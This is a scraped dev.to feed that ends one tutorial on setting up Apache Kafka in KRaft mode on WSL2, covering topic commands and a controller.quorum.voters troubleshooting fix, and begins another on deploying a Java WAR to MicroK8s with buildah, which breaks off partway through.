&lt;p&gt;The &lt;code&gt;--from-beginning&lt;/code&gt; option instructs Kafka to replay all existing messages in the topic.&lt;/p&gt;

&lt;p&gt;This is useful when verifying your setup or replaying historical events.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reading Only New Messages
&lt;/h2&gt;

&lt;p&gt;If you're only interested in messages produced after the consumer starts, simply omit the &lt;code&gt;--from-beginning&lt;/code&gt; option.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-consumer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the consumer waits for new incoming messages.&lt;/p&gt;

&lt;p&gt;As soon as a producer publishes another message, it immediately appears in the consumer terminal.&lt;/p&gt;

&lt;p&gt;This demonstrates Kafka's real-time event streaming capability.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Message Flow Works
&lt;/h2&gt;

&lt;p&gt;At this point, you've already built a complete event-driven messaging system.&lt;/p&gt;

&lt;p&gt;The overall flow looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Producer
    │
    │ Publish Message
    ▼
+-------------------+
|       Kafka       |
|    Topic Storage  |
+-------------------+
    │
    │ Read Messages
    ▼
Consumer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The producer and consumer never communicate directly.&lt;/p&gt;

&lt;p&gt;Kafka sits between them, storing messages reliably and allowing multiple consumers to process the same events independently.&lt;/p&gt;

&lt;p&gt;This decoupling is one of Kafka's biggest architectural advantages and is widely used in microservices and distributed systems.&lt;/p&gt;




&lt;h2&gt;
  
  
  Verifying That Everything Works
&lt;/h2&gt;

&lt;p&gt;At this stage, you should have successfully:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Installed Kafka&lt;/li&gt;
&lt;li&gt;Configured KRaft mode&lt;/li&gt;
&lt;li&gt;Started the broker&lt;/li&gt;
&lt;li&gt;Created a topic&lt;/li&gt;
&lt;li&gt;Produced messages&lt;/li&gt;
&lt;li&gt;Consumed messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You now have a fully functioning single-node Kafka environment ready for development and experimentation.&lt;/p&gt;

&lt;p&gt;In the next section, we'll look at common administration commands, deleting topics, troubleshooting configuration issues—including one that prevented my own Kafka broker from starting—and discuss where to go next in your Kafka learning journey.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kafka Administration
&lt;/h2&gt;

&lt;p&gt;Once your Kafka broker is running successfully, you'll frequently perform administrative tasks such as listing topics, inspecting topic details, and deleting topics during development.&lt;/p&gt;

&lt;p&gt;Let's look at some of the most common commands.&lt;/p&gt;




&lt;h2&gt;
  
  
  Listing All Topics
&lt;/h2&gt;

&lt;p&gt;To display every topic in the Kafka cluster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--list&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my-test-topic
orders
payments
application-logs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command is useful for verifying that topics were created successfully.&lt;/p&gt;




&lt;h2&gt;
  
  
  Describing a Topic
&lt;/h2&gt;

&lt;p&gt;To view detailed information about a topic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--describe&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typical output contains information similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Topic: my-test-topic

PartitionCount: 1

ReplicationFactor: 1

Leader: 1

Replicas: 1

Isr: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's briefly understand what these values mean.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PartitionCount&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Number of partitions belonging to the topic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ReplicationFactor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Number of replicas maintained for fault tolerance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Leader&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Broker currently responsible for reads and writes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Replicas&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Brokers containing copies of the partition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ISR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;In-Sync Replicas currently synchronized with the leader&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In this tutorial we're using a &lt;strong&gt;single-node Kafka cluster&lt;/strong&gt;, so each value is simply &lt;strong&gt;1&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Deleting a Topic
&lt;/h2&gt;

&lt;p&gt;Deleting a topic is straightforward.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092 &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--delete&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, topic deletion must be enabled.&lt;/p&gt;

&lt;p&gt;Verify that the following property exists inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;config/server.properties
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;delete.topic.enable&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without this configuration, Kafka ignores delete requests.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Kafka Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Create a Topic
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--create&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  List Topics
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--list&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Describe a Topic
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--describe&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Produce Messages
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-producer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Consume All Messages
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-consumer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--from-beginning&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Consume Only New Messages
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-consumer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Delete a Topic
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092 &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--delete&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Real-World Issue: Why My Kafka Broker Wouldn't Start
&lt;/h2&gt;

&lt;p&gt;While writing this article, I ran into a problem that took some investigation to resolve.&lt;/p&gt;

&lt;p&gt;After formatting the Kafka storage and attempting to start the broker, Kafka continuously displayed messages similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;initializeNewPublishers:
the loader is still catching up because we still don't know the high water mark yet.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It also reported:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unable to register the broker because the RPC got timed out before it could be sent.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although these messages looked alarming, they were actually symptoms rather than the root cause.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Real Problem
&lt;/h2&gt;

&lt;p&gt;After reviewing my configuration, I discovered that my &lt;code&gt;server.properties&lt;/code&gt; file was missing the following configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;controller.quorum.voters&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1@localhost:9093&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without this property, Kafka's Controller had no information about which node was responsible for participating in controller elections.&lt;/p&gt;

&lt;p&gt;As a result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Controller never became active.&lt;/li&gt;
&lt;li&gt;The Broker could not register.&lt;/li&gt;
&lt;li&gt;Kafka continued waiting indefinitely for metadata initialization.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Adding the missing configuration resolved the issue immediately.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Configuration Matters
&lt;/h2&gt;

&lt;p&gt;In KRaft mode, Kafka no longer relies on ZooKeeper to manage metadata.&lt;/p&gt;

&lt;p&gt;Instead, Kafka uses an internal Controller based on the Raft consensus protocol.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;controller.quorum.voters&lt;/code&gt; property identifies the nodes participating in that Controller quorum.&lt;/p&gt;

&lt;p&gt;For a single-node development environment, the configuration is simply:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;controller.quorum.voters&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1@localhost:9093&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In production clusters, multiple controller nodes would typically be listed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;p&gt;During this installation I learned several useful lessons:&lt;/p&gt;

&lt;p&gt;✅ KRaft mode eliminates the need for ZooKeeper.&lt;/p&gt;

&lt;p&gt;✅ Every Kafka cluster requires a unique Cluster ID.&lt;/p&gt;

&lt;p&gt;✅ Kafka storage must be formatted before the broker starts.&lt;/p&gt;

&lt;p&gt;✅ Producers and consumers connect to &lt;strong&gt;9092&lt;/strong&gt;, while &lt;strong&gt;9093&lt;/strong&gt; is reserved for internal Controller communication.&lt;/p&gt;

&lt;p&gt;✅ The &lt;code&gt;server.properties&lt;/code&gt; file is the heart of Kafka configuration.&lt;/p&gt;

&lt;p&gt;✅ A missing &lt;code&gt;controller.quorum.voters&lt;/code&gt; property prevents the Controller from becoming active.&lt;/p&gt;

&lt;p&gt;Understanding &lt;strong&gt;why&lt;/strong&gt; Kafka behaves this way makes troubleshooting much easier than simply memorizing commands.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next?
&lt;/h2&gt;

&lt;p&gt;Now that Kafka is running successfully, there are many exciting topics to explore.&lt;/p&gt;

&lt;p&gt;Some natural next steps include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Building a Java Kafka Producer&lt;/li&gt;
&lt;li&gt;Building a Java Kafka Consumer&lt;/li&gt;
&lt;li&gt;Understanding Partitions and Offsets&lt;/li&gt;
&lt;li&gt;Consumer Groups&lt;/li&gt;
&lt;li&gt;Kafka Streams&lt;/li&gt;
&lt;li&gt;Spring Boot with Kafka&lt;/li&gt;
&lt;li&gt;Event-Driven Microservices&lt;/li&gt;
&lt;li&gt;Real-time Log Processing&lt;/li&gt;
&lt;li&gt;Fraud Detection Pipelines&lt;/li&gt;
&lt;li&gt;Integrating Kafka with AI and RAG applications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kafka is much more than a messaging system—it is a powerful event streaming platform used by organizations to build highly scalable, real-time applications.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this guide, we installed &lt;strong&gt;Apache Kafka 4.2&lt;/strong&gt; on &lt;strong&gt;Ubuntu 24.04 (WSL2)&lt;/strong&gt; using &lt;strong&gt;KRaft mode&lt;/strong&gt;, configured a single-node broker, initialized the metadata storage, created topics, produced and consumed messages, and explored the essential administration commands used in day-to-day development.&lt;/p&gt;

&lt;p&gt;Along the way, we also investigated and resolved a real configuration issue involving &lt;code&gt;controller.quorum.voters&lt;/code&gt;, highlighting the importance of understanding Kafka's internal architecture rather than simply following installation steps.&lt;/p&gt;

&lt;p&gt;Whether you're building microservices, processing application logs, streaming IoT data, or developing real-time analytics, Kafka provides a reliable foundation for event-driven applications.&lt;/p&gt;

&lt;p&gt;I hope this guide helps you get started with Kafka and saves you some of the troubleshooting time that I experienced during my own setup. Happy learning!&lt;/p&gt;

</description>
      <category>kafka</category>
      <category>java</category>
      <category>eventdriven</category>
      <category>devops</category>
    </item>
    <item>
      <title>Running Java Applications on Kubernetes with MicroK8s in WSL2: A Complete Step-by-Step Guide</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Thu, 02 Jul 2026 21:19:19 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/running-java-applications-on-kubernetes-with-microk8s-in-wsl2-a-complete-step-by-step-guide-2bpj</link>
      <guid>https://dev.to/sanjayghosh/running-java-applications-on-kubernetes-with-microk8s-in-wsl2-a-complete-step-by-step-guide-2bpj</guid>
      <description>&lt;h2&gt;
  
  
  🚀 Introduction
&lt;/h2&gt;

&lt;p&gt;Deploying Kubernetes locally can feel like a breeze—until you introduce cross-OS boundaries like running &lt;strong&gt;MicroK8s&lt;/strong&gt; inside an &lt;strong&gt;Ubuntu WSL2 instance&lt;/strong&gt; on a Windows machine. Suddenly, networking bridges, cluster security templates, and isolated container image caches clash.&lt;/p&gt;

&lt;p&gt;In this guide, I will take you through my entire journey from absolute scratch: initializing the cluster, bypassing the Windows-to-WSL network layer, containerizing a legacy &lt;code&gt;.war&lt;/code&gt; file into Apache Tomcat 10, resolving local container runtime blocks, and scaling to a load-balanced multi-pod deployment.&lt;/p&gt;




&lt;p&gt;Overall Flow :&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz06q3cm8kdgkwzz5p37a.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz06q3cm8kdgkwzz5p37a.jpg" alt=" " width="367" height="513"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Deployment Flow:&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw2tvk175b9gaun2vhima.jpg" alt=" " width="304" height="420"&gt;
&lt;/h2&gt;
&lt;h2&gt;
  
  
  🛠️ Phase 1: Installing and Configuring the Cluster
&lt;/h2&gt;

&lt;p&gt;MicroK8s is Canonical's lightweight, fast-booting Kubernetes distribution that works natively on Ubuntu via Snap packages.&lt;/p&gt;
&lt;h4&gt;
  
  
  1. Installation &amp;amp; Init
&lt;/h4&gt;

&lt;p&gt;Run the standard package manager to pull the classic snap layer down and wait for readiness flags to clear:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;snap &lt;span class="nb"&gt;install &lt;/span&gt;microk8s &lt;span class="nt"&gt;--classic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s status &lt;span class="nt"&gt;--wait-ready&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s &lt;span class="nb"&gt;enable &lt;/span&gt;dns dashboard storage
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. The WSL2 Network Barrier 🛑
&lt;/h4&gt;

&lt;p&gt;Because the cluster builds internal authorization certificates tied exclusively to the Linux environment, a Windows web browser attempting to view the dashboard on &lt;code&gt;localhost&lt;/code&gt; will be strictly blocked. We must patch the cluster's trusted certificate schema.&lt;/p&gt;

&lt;p&gt;First, check your active Ubuntu network IP address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ip route
&lt;span class="c"&gt;## Look for your eth0 source IP (e.g., 172.21.236.75)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the root certificate mapping file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;vi /var/snap/microk8s/current/certs/csr.conf.template
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scroll down to the &lt;code&gt;[ alt_names ]&lt;/code&gt; segment and explicitly append your Ubuntu network address to the safe-list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IP.3 = 172.21.236.75
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Force a full service recycle to re-mint the secure tokens:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s stop &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Launching the Security Proxy
&lt;/h4&gt;

&lt;p&gt;Extract your cluster access token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl describe secret &lt;span class="nt"&gt;-n&lt;/span&gt; kube-system microk8s-dashboard-token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Spin up the connection bridge utility to forward cluster resources through to your host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s dashboard-proxy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open your Windows web browser, navigate to &lt;code&gt;https://127.0.0.1:10443&lt;/code&gt;, bypass the browser certificate safety warnings, and paste your authorization token. You're in!&lt;/p&gt;




&lt;h2&gt;
  
  
  📦 Phase 2: Containerizing Your Java Web App
&lt;/h2&gt;

&lt;p&gt;Kubernetes does not manage code files directly; it orchestrates &lt;em&gt;containers&lt;/em&gt;. We need to wrap your compiled application file into an official application server baseline.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Establish Your Workspace
&lt;/h4&gt;

&lt;p&gt;Create a folder structure inside Ubuntu to hold your codebase assets and copy your file over:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /mnt/c/MyDomain/TECH/kubernetes/allwork/kubernetes-java-app
&lt;span class="nb"&gt;cd&lt;/span&gt; /mnt/c/MyDomain/TECH/kubernetes/allwork/kubernetes-java-app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. Crafting the Dockerfile Blueprint
&lt;/h4&gt;

&lt;p&gt;Create a raw text blueprint named &lt;code&gt;Dockerfile&lt;/code&gt; to map out the Tomcat 10 installation parameters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="c"&gt;## Use official Tomcat 10 with Java 17 as the base foundation&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; docker.io/tomcat:10.1-jre17&lt;/span&gt;

&lt;span class="c"&gt;## Clean out the default placeholder webapps to prevent conflicts&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /usr/local/tomcat/webapps/&lt;span class="k"&gt;*&lt;/span&gt;

&lt;span class="c"&gt;## Copy your local WAR file from your directory into Tomcat's deployment folder&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; mywebprojectwar.war /usr/local/tomcat/webapps/&lt;/span&gt;

&lt;span class="c"&gt;## Inform the container environment to expose Tomcat's web port&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Compiling the Image Package
&lt;/h4&gt;

&lt;p&gt;Because MicroK8s focuses purely on execution workloads, use &lt;code&gt;buildah&lt;/code&gt; to safely handle compilation layers on Ubuntu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; buildah
&lt;span class="nb"&gt;sudo &lt;/span&gt;buildah bud &lt;span class="nt"&gt;-t&lt;/span&gt; my-java-app:v1 &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🧬 Phase 3: The Local Sideloading Blueprint
&lt;/h2&gt;

&lt;p&gt;If you try to run your containers right now, you will hit an immediate wall: &lt;strong&gt;&lt;code&gt;ErrImageNeverPull&lt;/code&gt;&lt;/strong&gt;. MicroK8s isolates local terminal compiles away from the live Kubernetes runtime container pools (&lt;code&gt;k8s.io&lt;/code&gt; namespace).&lt;/p&gt;

&lt;p&gt;Here is the exact side-loading injection pattern that guarantees a perfect local import:&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Build a Standard Archive
&lt;/h4&gt;

&lt;p&gt;Export the image into an unmanaged, standardized archive on your hard drive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; my-java-app.tar
&lt;span class="nb"&gt;sudo &lt;/span&gt;buildah push my-java-app:v1 docker-archive:my-java-app.tar:my-java-app:v1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. Stream into Cluster Core Memory
&lt;/h4&gt;

&lt;p&gt;Use the high-level MicroK8s packaging command along with a file stream director (&lt;code&gt;&amp;lt;&lt;/code&gt;) to automatically unpack the elements straight into the cluster namespace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s images import &amp;lt; my-java-app.tar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Verify Your Cache Identifiers
&lt;/h4&gt;

&lt;p&gt;Query the exact internal text string that the cluster engine assigned to your package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s ctr &lt;span class="nt"&gt;--namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;k8s.io image list | &lt;span class="nb"&gt;grep &lt;/span&gt;managed
&lt;/code&gt;&lt;/pre&gt;

